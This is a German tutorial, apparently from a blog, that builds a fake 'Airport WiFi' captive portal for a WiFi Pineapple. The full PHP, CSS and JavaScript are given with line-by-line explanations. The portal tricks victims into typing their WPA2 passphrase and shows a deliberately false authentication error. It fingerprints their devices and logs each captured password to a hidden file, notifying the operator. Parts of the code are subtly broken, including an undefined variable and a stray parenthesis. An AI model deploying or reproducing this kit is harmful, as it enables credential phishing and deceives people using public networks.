<div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> - Hier setzen wir ein leeres div-Element, das wir mit unserer JS-Funktion "loading-message" anzeigen wollen. Die Angaben "text-center", "mt-3", "mb-3" und font-weight-bold dienen nur der Gestaltung der Ladenachricht. Wir können auch einige Farben angeben, zum Beispiel mit "text-muted".
<input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> - Hier verwenden wir ein input-Element mit dem Typ "hidden" und dem "name" "ssid", das "value"-Attribut ruft eine php-Funktion "getClientSSID" in helper.php eine PHP-Variable mit der Bezeichnung "REMOTE_ADDR" auf, die es uns ermöglicht, die SSID des verbundenen Clients (unsere Broadcasting ESSID) zu ermitteln. Es ist zwar immer noch hier und angegeben, aber meistens funktioniert dies nicht ganz korrekt für die Anzeige der ESSID, also habe ich einen manuellen Workaround dafür hinzugefügt.
<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> - Hier funktioniert es genauso wie oben, nur dass hier der Hostname des verbundenen Clients abgefragt wird.
<input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> - Hier wird die MAC-Adresse des verbundenen Clients abgefragt.
<input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> - Hier wird versucht, die IP-Adresse des verbundenen Clients zu ermitteln.
<input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> - Hier verwenden wir htmlspecialchars, um den Wert von "HTTP_USER_AGENT" zu erhalten, der in den Protokollen der Formularübermittlung gespeichert wird.
<input type="hidden" id="SR" name="SR" value=""> - Hier setzen wir ein leeres Eingabefeld mit der ID und dem Namen "SR" (Bildschirmauflösung), das durch clientseitigen Code innerhalb der func.js ausgefüllt wird. Diese werden alle vom User Agent erstellt.
<input type="hidden" id="OS" name="OS" value=""> - Dasselbe wie oben, aber für das Betriebssystem des Benutzers.
<input type="hidden" id="WB" name="WB" value=""> - Wie oben, aber für den Webbrowser des Benutzers (z.B. Firefox, Chrome, etc.).
<input type="hidden" id="AT" name="AT" value=""> - Ebenfalls wie oben, aber für den Systemarchitektur-Typ des Benutzers.
<input type="hidden" id="CC" name="CC" value=""> - Auch hier gilt das Gleiche wie oben, jedoch für die CPU-Kerne des Benutzers.
<script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script> - Hier führen wir dann die clientseitigen Funktionen aus, um die Werte für die obigen Angaben einzugeben.
<button type="submit" class="btn btn-orange btn-block text-white">Login</button> - Der eigentliche MVP hier, der Submit-Button, hier verwenden wir die Klassen btn, btn-orange und text-white für das Styling. Das btn-orange ist ein benutzerdefinierter Klassenname, den man auch btn-helloworld nennen könnte, wenn man möchte.
<div class="form-group form-check text-left mt-2"> - Ein weiteres div-Element, das für das Styling verwendet wird, mit form-group, form-check, text-left und mt-2.
<input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> - Hier haben wir ein Kontrollkästchen mit der Klasse form-check-input mit der ID und dem Namen ACLAllow hinzugefügt, um es später mit einer JS-Funktion anzusteuern. Außerdem setzen wir den Wert auf 0 (was bedeutet, dass er standardmäßig nicht markiert ist).
<label class="form-check-label" for="ACLAllow">Add MAC to ALC Allow List</label> - Dies ist das Label für das ACLAllow-Kontrollkästchen, das die Meldung rechts neben dem Kontrollkästchen anzeigt.
<div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value="">
<input type="hidden" id="AT" name="AT" value=""> <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script>
<button type="submit" class="btn btn-orange btn-block text-white">Anmeldung</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">MAC zur ALC-Zulassungsliste hinzufügen</label> </div> </form>
Nun zum letzten Teil der default.php:
<p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center">STATUS: ERR_FAILED_AUTH - Hier verwenden wir ein Absatzelement, um dem Benutzer eine falsche Fehlermeldung anzuzeigen. Wir verwenden die Styling-Optionen text-left, small, text-muted, mt-4, d-flex, justify-content-between und align-items-center.
<p class="text-left small text-muted d-flex justify-content-between align-items-center">Client MAC: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> - Hier verwenden wir ein Absatzelement, um die PHP-Funktion in helper.php aufzurufen, um die Mac-Adresse des Clients zu ermitteln und anzuzeigen. Wir verwenden die Styling-Optionen text-left, small, text-muted, d-flex, justify-content-between und align-items-center.
<a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="MESSAGE" title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Warum ist das passiert?</a> - Hier verwenden wir ein Ankerelement, das wir als klickbaren Link verwenden, um ein Popover/Tooltip mit einem "hilfreichen" Text anzuzeigen. Wir verwenden # als href-Attribut, damit es nirgendwo hinführt. Wir verwenden unsere eigenen benutzerdefinierten Klassennamen "popover-link", so dass wir nicht verwechseln es mit HTMLs popover, wir Ziel dieser für den Fokus, so dass es nicht die Seite zu diesem zentrieren, wenn sie angeklickt. Außerdem verwenden wir data-container, data-html, data-toggle, data-placement, data-content, einen Titel, data-trigger und tabindex.
<p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> Client MAC: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Dies ist aufgrund der auf dem drahtlosen Zugangspunkt implementierten Zugriffskontrollliste (ACL) geschehen. In diesem Fall müssen sich die Geräte neu authentifizieren, was zu einer Abfrage der ACL des Access Points führt. Wenn Ihr Gerät berechtigt ist, auf dieses Netzwerk zuzugreifen, wird die MAC Ihres Geräts nach einer erneuten Authentifizierung über das integrierte Captive Portal des Wireless Access Points zugelassen. Deshalb sehen Sie diese Meldung." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Warum ist das passiert?</a> </p> </p> </div> </div> </div> </div> </div> </body> </html>
Wir sollten jetzt eine default.php haben, die wie folgt aussieht.
Default.php Ergebnis:
<?php $destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); require_once('visited.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; ?> <iframe name="login" id="login" style="display: none;"></iframe> <!DOCTYPE html> <html lang="de"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <link rel="stylesheet" href="/css/bootstrap-icons.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/de/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center"><?= $essid; ?></h3> <p class="text-center small mb-5">So wie es aussieht, müssen Sie autorisiert werden, um diesen drahtlosen Zugangspunkt zu nutzen.</p> <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase:</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div>
</div> <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value=""> <input type="hidden" id="AT" name="AT" value="">
<input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script> <button type="submit" class="btn btn-orange btn-block text-white">Anmelden</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">MAC zur ALC-Zulassungsliste hinzufügen</label> </div> </form> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> Client MAC: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Dies ist aufgrund der auf dem drahtlosen Zugangspunkt implementierten Zugriffskontrollliste (ACL) geschehen. In diesem Fall müssen sich die Geräte neu authentifizieren, was zu einer Abfrage der ACL des Access Points führt. Wenn Ihr Gerät berechtigt ist, auf dieses Netzwerk zuzugreifen, wird die MAC Ihres Geräts nach einer erneuten Authentifizierung über das integrierte Captive Portal des Wireless Access Points zugelassen. Deshalb sehen Sie diese Meldung." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Warum ist das passiert?</a> </p> </p> </div> </div> </div> </div> </div> </body> </html>
MyPortal.php
Als erstes wollen wir die WebUI-Benachrichtigungen verwenden, damit wir diese über die Weboberfläche von Pineapples anzeigen können. Dazu müssen wir die MyPortal.php modifizieren und ihren Inhalt durch den folgenden ersetzen. Der Dank für diese Änderung geht an Alex-Sesh. Ich habe sie einfach nur ein wenig erweitert.
Ich werde etwas von dem, was hier passiert, aufschlüsseln.
namespace evilportal; -Namespace in PHP ist eine Möglichkeit, Code zu organisieren und zu kapseln, um Namenskollisionen zu vermeiden und lange Namen zu kürzen (Alias), was eine bessere Lesbarkeit ermöglicht.
class MyPortal{ } - Diese Klasse kapselt die Definitionen von Eigenschaften (Variablen), Methoden (Funktionen) und Konstanten und bietet eine Struktur zur Erstellung von Objekten in PHP. In unserem Fall erweitert sie eine andere Klasse namens Portal (siehe unten).
extends Portal - Das extends-Schlüsselwort ermöglicht es der Kindklasse (MyPortal in unserem Code), alle öffentlichen Eigenschaften und Methoden von einer anderen Elternklasse (in unserem Fall Portal) zu erben. Dadurch kann die untergeordnete Klasse auch die geerbten Eigenschaften außer Kraft setzen oder erweitern.
public function handleAuthorization() - Dies deklariert eine neue öffentliche Methode (Funktion) mit dem Namen "handleAuthorization".
if (isset($_POST['email'])) - Diese if-Anweisung verwendet die PHP-Funktion isset, die prüft, ob eine Variable gesetzt ist und nicht null ist. Anschließend wird die superglobale PHP-Variable POST verwendet, die die Erfassung der über das Formular übermittelten Daten mithilfe des Array-Index "email" ermöglicht. Zusammen prüft diese Zeile, ob die Post-Anfrage den Schlüssel "email" gesetzt hat, und wenn ja, führt sie den Rest des Codes aus.
$email, $pwd, $mac, $ip, $hostname, $ssid, useragent, screenres, operatingsystem, webbrowser, architecture, cpucores - Diese Variablen funktionieren genauso wie jede andere, sie verwenden die set-Funktion zusammen mit dem ternären Operator, der prüft, ob ein Wert gesetzt und nicht null ist, und wenn das der Fall ist, wird ein Standardwert von unknown zugewiesen.
$reflector = new \ReflectionClass(get_class($this)); - Das Objekt "reflector" erstellt eine ReflectionClass für die aktuelle Klasseninstanz "this". Mit get_class wird der aktuelle Klassenname ermittelt und in das Objekt reflektiert.
$logPath = dirname($reflector->getFileName()); - Damit wird das Verzeichnis mit dirname und Dateiname getFileName des reflektierten Klassenobjekts "reflector" abgerufen, das dann als Wert von "logPath" gespeichert wird.
$currentDate = date('Y-m-d H:i:s'); - Dies ruft den Datumsbefehl auf und speichert diesen als Wert für "currentDate".
$logContent = <<<EOD - Dies wird als Heredoc bezeichnet und ermöglicht es uns im Wesentlichen, die Logdatei innerhalb des Skripts so zu formatieren, dass sie genau so aussieht, wie wir es in der Logdatei haben wollen. Wir verwenden "EOD;", um die Zeile zu beenden, dies wird "Ende der Daten" genannt, ähnlich wie "Ende der Datei", Sie werden es etwas besser verstehen, wenn Sie unten sehen.
file_put_contents("{$logPath}/.logs", $logContent, FILE_APPEND); - Dies verwendet file_put_contents, um den "logContent" an die Datei ".logs" im "logPath" anzuhängen.
$this->execBackground("pineutil notify 0 'Password: $pwd for MAC: $mac'"); - Dies verwendet eine benutzerdefinierte Methode "execBackground" in Portal.php, die es dem Skript ermöglicht, einen Befehl im Hintergrund auszuführen. Es verwendet "exec", um das übergebene Kommando zu "echoen" und leitet es an "at now" weiter, das die Ausführung der Aufgabe plant, ohne auf die Beendigung des Skripts zu warten. Dies führt den Befehl "pineutil notify 0" aus, um die Benachrichtigung an die WebUI mit den Werten von mac und pwd zu senden.
parent::handleAuthorization(); - Dies ruft die handleAuthorization-Methode von Portal.php auf, um die Autorisierung zuerst durchzuführen. Diese prüft, ob die Client-IP autorisiert ist und ob der Zielparameter in der Anfrage existiert. Wenn dies der Fall ist, wird eine redirect()-Funktion aufgerufen, um die Umleitung durchzuführen.
parent::onSuccess(); - Ruft die Methode "onSuccess()" auf, die eine Aktion auslöst, wenn der Client erfolgreich autorisiert wurde.
parent::showError(); - Hier wird eine Fehlermeldung angezeigt, wenn der Kunde nicht autorisiert ist.
Wir haben die Zeile "email" auskommentiert und die anfängliche if-Anweisung von "email" in "password" geändert, da wir nur ein einziges Passwortfeld in unserem Portal verwenden.
Nun wollen wir die folgenden Zeilen in der Seite MyPortal.php ersetzen:
public function handleAuthorization() { // dort werden Formulareingaben oder andere zusätzliche Dinge behandelt
Ersetzen Sie durch:
public function handleAuthorization() { if (isset($_POST['password'])) { // $email = isset($_POST['email']) ? $_POST['email'] : 'email'; $pwd = isset($_POST['password']) ? $_POST['password'] : 'password'; $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; $ssid = isset($_POST['ssid']) ? $_POST['ssid'] : 'ssid'; $useragent = isset($_POST['useragent']) ? $_POST['useragent'] : 'unbekannt'; $screenres = isset($_POST['SR']) ? $_POST['SR'] : 'unknown'; $operatingsystem = isset($_POST['OS']) ? $_POST['OS'] : 'unbekannt'; $webbrowser = isset($_POST['WB']) ? $_POST['WB'] : 'unknown'; $architecture = isset($_POST['AT']) ? $_POST['AT'] : 'unbekannt'; $cpucores = isset($_POST['CC']) ? $_POST['CC'] : 'unknown'; $reflector = new \ReflectionClass(get_class($this)); $logPath = dirname($reflector->getFileName()); // Neue Variable für den Datumsbefehl $currentDate = date('Y-m-d H:i:s'); // Verwendung von heredoc für mehrzeiligen Inhalt $logContent = <<<EOD [$currentDate] SSID: {$ssid} Password: {$pwd} Hostname: {$hostname} MAC: {$mac} IP: {$ip} User Agent: {$useragent} Bildschirmauflösung: {$screenres} OS: {$operatingsystem} CPU-Kerne: {$cpucores} Arch: {$Architektur} Web-Browser: {$webbrowser} EOD; file_put_contents("{$logPath}/.logs", $logContent, FILE_APPEND); $this->execBackground("pineutil notify 0 'Passwort: $pwd für MAC: $mac'"); }
Visited.php erstellen:
Hier wollte ich ein PHP-Skript erstellen, das wir in unsere default.php-Seite einbinden können und das uns benachrichtigt, wenn wir jemanden dazu gebracht haben, unsere Captive-Portal-Seite anzusehen. Das Skript verwendet die aktuelle IP-Adresse des Benutzers, die von Pineapple zugewiesen wird, und verschlüsselt diese mit md5, um eine neue Datei im Temp-Verzeichnis zu erstellen. Damit soll sichergestellt werden, dass der Befehl "pineutil notify" nicht bei jeder nachfolgenden GET-Anfrage der Webseite ausgelöst wird (z.B. für Bilder oder externe css- und js-Dateien).
Wie zuvor werde ich aufschlüsseln, was vor sich geht:
<?php - Der Anfang unseres php-Skripts.
$ip = $_SERVER['REMOTE_ADDR']; - Hier erhalten wir die IP-Adresse des Benutzers, indem wir das PHP Superglobal $_SERVER mit "REMOTE_ADDR" verwenden.
$mac = getClientMac($_SERVER['REMOTE_ADDR']); - Ähnlich wie oben erhalten wir die Mac-Adresse des Clients, dies ist eine Funktion, die bereits in der helper.php Seite definiert ist, die in unserer default.php enthalten ist und somit Zugriff auf diese Funktion hat.
$ssid = getClientSSID($_SERVER['REMOTE_ADDR']); - Dies ist genau wie oben, aber für die SSID.
$hostname = getClientHostName($_SERVER['REMOTE_ADDR']); - Dies ist auch das Gleiche wie oben, aber für den Hostnamen.
$ua = htmlspecialchars($_SERVER['HTTP_USER_AGENT']); - Dies ist dasselbe wie oben, verwendet aber "htmlspecialchars", um den User-Agent zu säubern, um zu verhindern, dass jemand versucht, ihn zu manipulieren.
$flag_directory = '/tmp/airport_page_visited_'; - Hier legen wir fest, dass die neue Datei ohne die Dateierweiterung erstellt wird.
$flag_file = $flag_directory . md5($ip) . '.txt'; - Hier führen wir die Verkettung von "flag_directory" + "md5($ip)" + ".txt" und geben schließlich eine Datei wie airport_page_visited_MD5SUM.txt aus.
if ($_SERVER['REQUEST_METHOD'] === 'GET') { - Hier verwenden wir eine if-Anweisung, um zu prüfen, ob die Anfragemethode "GET" ist, was sie beim ersten Besuch der Seite sein wird.
if (!file_exists($flag_file)) { - Hier prüfen wir mit einem logischen NOT-Operator, ob die Datei "flag_file" nicht existiert.
file_put_contents($flag_file, ''); - Wir benutzen dann "file_put_contents", um die Datei ohne Daten darin zu erstellen.
exec("pineutil notify 0 'Portal besucht - IP: $ip / MAC: $mac / ssid: $ssid / hostname: $hostname / UA: $ua'"); - Wir führen dann den Befehl "pineutil notify" mit unserer Nachricht und allen definierten Variablen aus. Sie können dies anpassen, was ich Ihnen empfehle, aber die wichtigsten sind MAC und UA.
<?php // Ermittelt die IP-Adresse des Benutzers $ip = $_SERVER['REMOTE_ADDR']; // Ermittelt die MAC-Adresse des Benutzers $mac = getClientMac($_SERVER['REMOTE_ADDR']); // Ermittelt die SSID des Benutzers $ssid = getClientSSID($_SERVER['REMOTE_ADDR']); // Ermittelt den Hostnamen des Benutzers $hostname = getClientHostName($_SERVER['REMOTE_ADDR']);
// Ermitteln des Useragenten $ua = htmlspecialchars($_SERVER['HTTP_USER_AGENT']); // Definieren des Verzeichnispfades zum Speichern der Flaggen-Dateien $flag_directory = '/tmp/airport_page_visited_'; // Definieren des Flaggen-Dateipfades für den Client $flag_file = $flag_directory . md5($ip) . '.txt'; // Prüfen, ob die Seite per HTTP-GET-Anfrage aufgerufen wird if ($_SERVER['REQUEST_METHOD'] === 'GET') { // Prüfen, ob die Flaggendatei für den Client existiert if (!file_exists($flag_file)) { // Erzeugen Sie die Flag-Datei, um anzuzeigen, dass der Befehl für diesen Client ausgeführt wurde file_put_contents($flag_file, ''); // Führen Sie den Befehl mit den folgenden Variablen aus exec("pineutil notify 0 'Portal besucht - IP: $ip / MAC: $mac / ssid: $ssid / hostname: $hostname / UA: $ua'"); } } ?>
Style.css erstellen
Hier werden wir unsere Stildatei für die Gestaltung einiger unserer Elemente erstellen, ich werde aufschlüsseln, was hier passiert.
html, body { - Hier wird das untergeordnete Element "body" innerhalb der "html"-Tags ausgewählt.
height: 100%; - Hier setzen wir die Höhe des body auf 100%.
margin: 0; - Wir setzen dann den Rand des html-Bodys auf 0, was der Standardwert ist und auf alle vier Seiten des Elements angewendet wird.
padding: 0; - Hier setzen wir das Padding für den Html-Body auf 0, was wiederum der Standardwert ist.
body::before { - Hier verwenden wir "::before", das ein Pseudo-Element erzeugt, das verwendet wird, um ein Element mit der Eigenschaft "content" zu gestalten.
content: ""; - Hier definieren wir den Inhalt, der einen aktuellen "content"-Wert ersetzt, in unserem Fall fügen wir nichts hinzu.
position: fixed; - Hier wird die Position des Elements auf fixed gesetzt.
top: 0; - Hier setzen wir die obere Position auf 0.
left: 0; - Hier setzen wir die linke Position auf 0.
width: 100%; - Wir setzen die Breite auf 100% der Breite des Elements.
height: 100%; - Dann setzen wir die Höhe auf 100% der Breite des Elements.
z-index: -1; - Wir verwenden dann z-index, um das Element über andere Elemente (wie Hintergrundbilder) zu legen.
background-image: url('splash.png'); - Hier legen wir die Position des Hintergrundbildes fest, das auf den Seiten verwendet werden soll.
background-size: cover; - Hier wird die Größe des Hintergrundbildes auf "cover" gesetzt, um das Bild zu skalieren und gleichzeitig das Verhältnis beizubehalten.
background-position: center; - Hier legen wir die Position des Hintergrunds auf die Mitte fest.
filter: blur(0px); - Hier stellen wir den Filter ein, um Styling-Effekte auf ein Element anzuwenden, wie z. B. Weichzeichnen, es gibt auch andere Styling-Filterfunktionen, mit denen Sie spielen können. Wir fügen hier eigentlich keine Unschärfe hinzu, aber es könnte cool sein, sie hinzuzufügen!
.container { - Hier wählen wir das Element mit der Klasse container aus.
position: relative; - Hier setzen wir die Position als relativ.
z-index: 1; - Wir verwenden dann wieder z-index mit dem Wert 1, um dieses Element über anderen Elementen zu platzieren.
.btn-orange { - Hier wählen wir das Element mit der Klasse btn-orange, das -orange ist hier ein eigener Name.
background-color: orange; - Wir setzen dann die Hintergrundfarbe auf orange.
border-color: orange; - Wir setzen dann die Rahmenfarbe ebenfalls auf orange.
transition: filter 0.3s; - Hier stellen wir einen Übergangseffekt von filter und einen Wert von 0.3s ein.
.btn-orange:hover, - Wir setzen dann das btn-orange auf hover, was ausgelöst wird, wenn der Benutzer mit der Maus darüber fährt.
.btn-orange:focus { - Wir verwenden dann den Fokus, der einem Element den Fokus gibt, wenn mit ihm interagiert wird (z. B. wenn der Benutzer klickt, um in das Eingabefeld zu tippen).
filter: brightness(1.2); - Wir verwenden dann filter, um die Helligkeit einzustellen, wenn die Schaltfläche den Fokus erhält, wodurch diese heller wird.
.btn-orange:active { - Hier setzen wir das btn-orange mit active, das normalerweise ausgelöst wird, wenn der Benutzer auf die Schaltfläche klickt, während er den Mausklick noch gedrückt hält, aber beim Loslassen der Maus endet.
filter: brightness(0.8); - Hier setzen wir die Schaltfläche, wenn sie aktiv ist, um die Helligkeit zu ändern, indem wir sie auf 0.8 verringern.
.text-white { - Hier wählen wir dann alle Elemente mit der Klasse text-white aus.
color: white; - Wir setzen dann die Farbe der Elemente auf weiß.
.card { - Hier wählen wir alle Elemente mit der Klasse card aus.
width: 100%; - Wir setzen dann die Breite der Karte auf 100%.
/* styles.css */ html, body { height: 100%; margin: 0; padding: 0; } body::before { content: ""; position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; background-image: url('splash.png'); /* Ersetze mit deinem Bildpfad */ background-size: cover; background-position: center; filter: blur(0px); /* Optional: Wenden Sie einen Unschärfeeffekt auf den Hintergrund an */ } .container { position: relative; z-index: 1; } .btn-orange { background-color: orange; /* Standardfarbe auf das gewünschte Orange setzen */ border-color: orange; /* Randfarbe entsprechend angepasst */ transition: filter 0.3s; /* Hinzufügen eines weichen Übergangseffekts */ } .btn-orange:hover, .btn-orange:focus { filter: brightness(1.2); /* Helligkeit bei hover und focus erhöhen */ } .btn-orange:active { filter: brightness(0.8); /* Helligkeit bei aktiv (angeklickt) verringern */ } .text-white { color: white; } .card { width: 100%; }
func.js erstellen
Als Nächstes werden wir die Funktionsdatei erstellen, die so ziemlich alles enthält, was wir hier brauchen.
Umleiten:
function redirect() { - Hier deklarieren wir eine neue Funktion namens redirect.
**setTimeout(function () { - Wir verwenden dann die Funktion setTimeout.
var ACLAllowChecked = $('#ACLAllow').prop('checked'); - Hier definieren wir eine neue Variable "ACLAllowedChecked", die einen Selektor verwendet, um unser ACLAllow-Element (unser Kontrollkästchen) auszuwählen, das dann JQuery prop verwendet, um den Zustand des Kontrollkästchens auf "checked" zu ändern.
var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : ''); - Hier definieren wir eine neue Variable namens redirectURL, die einen Standardwert auf "/checking.php" setzt und Addition verwendet, um den Parameter mit der redirectURL zu verketten (wenn die nachfolgende Prüfung wahr ist). Ist dies der Fall, wird der Wert ACLAllow=1 gesetzt, der zuvor verkettet wird. Ist dies nicht der Fall, wird der Wert einfach mit zwei einfachen Anführungszeichen '' auf Null gesetzt.
window.location = redirectURL; - Hier verwenden wir dann window.location und setzen den Wert als Wert der redirectURL-Variablen.
}, 1000); - Dies ist die Zeit, die gewartet werden soll, bevor der Code innerhalb der Funktion "setTimeout" ausgeführt wird. Die Angabe erfolgt in Millisekunden.
function redirect() { setTimeout(function () { // Prüfen, ob das Kontrollkästchen aktiviert ist var ACLAllowChecked = $('#ACLAllow').prop('checked'); // ACLAllow-Parameter in die redirect-URL einfügen var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : ''); window.location = redirectURL; }, 1000); }
GoBack:
GoBack() - Diese Funktion ist recht einfach und verwendet die Funktion setTimeout, um den Wechsel der Seite mit window.location zu /default.php nach 100ms zu verzögern.
function GoBack() { setTimeout(function () { window.location = "/default.php"; }, 100); }
runTest:
function runTest() { - Wie zuvor deklarieren wir eine neue Funktion "runTest".
var password = document.getElementById('password').value; - Hier verwenden wir document.getElementById, um den Passwortwert zurückzugeben und zu speichern.
var xhr = new XMLHttpRequest(); - Wir definieren dann eine neue Variable "xhr", die eine neue XMLHttpRequest erstellt.
xhr.open('POST', '/run_test.php', true); - Anschließend verwenden wir xhr.open, um unsere neu erstellte XHR-Anfrage zu initialisieren, die wir dann mit der Methode, der URL und dem async.
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); - Anschließend verwenden wir setRequestHeader mit dem Content-Type-Header und dem MIME-Typ der Anfrage als "application/x-www-form-urlencoded".
xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate'); - Hier setzen wir, wie zuvor, die Cache-Control-Header mit ihren Direktiven.
xhr.setRequestHeader('Pragma', 'no-cache'); - Hier setzen wir wieder den Pragma-Header.
xhr.setRequestHeader('Expires', '0'); - Gefolgt vom Expires-Header. Das Gleiche, wie wir es in php auf der Seite default.php gemacht haben.
var responseText = xhr.responseText.trim(); - Hier definieren wir eine neue Variable "responseText" unter Verwendung von xhr responseText und trim, um Leerzeichen zu entfernen, die wir in run_test.php hinzufügen, um sicherzustellen, dass keine Ausgabe in der console.log erfolgt. Der Grund dafür ist, dass bei einem Nullwert immer noch eine "leere Zeichenkette" auf der Konsole ausgegeben wird, und das wollte ich ganz vermeiden.
if (responseText !== "") { - Wir verwenden dann eine if-Anweisung, um zu prüfen, ob "responseText" mit Strict Inequality nicht gleich leer oder null ist.
console.log(responseText); - Wenn die obige Anweisung wahr ist, was aufgrund des absichtlichen Leerzeichens in run_test.php der Fall sein wird, wird die Ausgabe von responseText in die console.log ausgegeben, in unserem Fall gibt es dafür keine Ausgabe in der console.log.
xhr.send('password=' + encodeURIComponent(password)); - Abschließend verwenden wir xhr.send, um den Body-Parameter "password=" zu senden und stellen durch die Ergänzung mit encodeURIComponent sicher, dass Sonderzeichen in der Anfrage ersetzt werden.
function runTest() { var password = document.getElementById('password').value; var xhr = new XMLHttpRequest(); xhr.open('POST', '/run_test.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate'); xhr.setRequestHeader('Pragma', 'no-cache'); xhr.setRequestHeader('Expires', '0'); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var responseText = xhr.responseText.trim(); if (responseText !== "") { console.log(responseText); } // Sie können bei Bedarf weitere Behandlungen hinzufügen } }; xhr.send('password=' + encodeURIComponent(password))); }
submitForm:
function submitForm() { - Hier wie zuvor definieren wir eine neue Funktion submitForm.
$('#loading-message').text('Logging in, please wait...'); - Hier verwenden wir einen JQuery-Selektor mit "#loading-message", der alle Elemente mit der "id" als "loading-message" auswählt und dann Text verwendet, um die Ladenachricht anzuzeigen.
runTest(); - Dies führt die Funktion runTest vor der Verzögerung aus.
setTimeout(function () { - Wir verwenden die setTimeout-Funktion erneut, um die Ausführung der Umleitungsfunktion zu verzögern.
$('#loading-message').text(''); - Hier wird wieder der JQuery-Selektor verwendet, um das div-Element "loading-message" auf Null zu setzen. Dadurch verschwindet es effektiv.
redirect(); - Dies führt dann die Umleitungsfunktion aus.
}, 2000); - Wie lange setTimeout warten soll, bevor der Code innerhalb seiner Funktion ausgeführt wird.
return true; - Hier verwenden wir return true, damit das Formular abgeschickt werden kann.
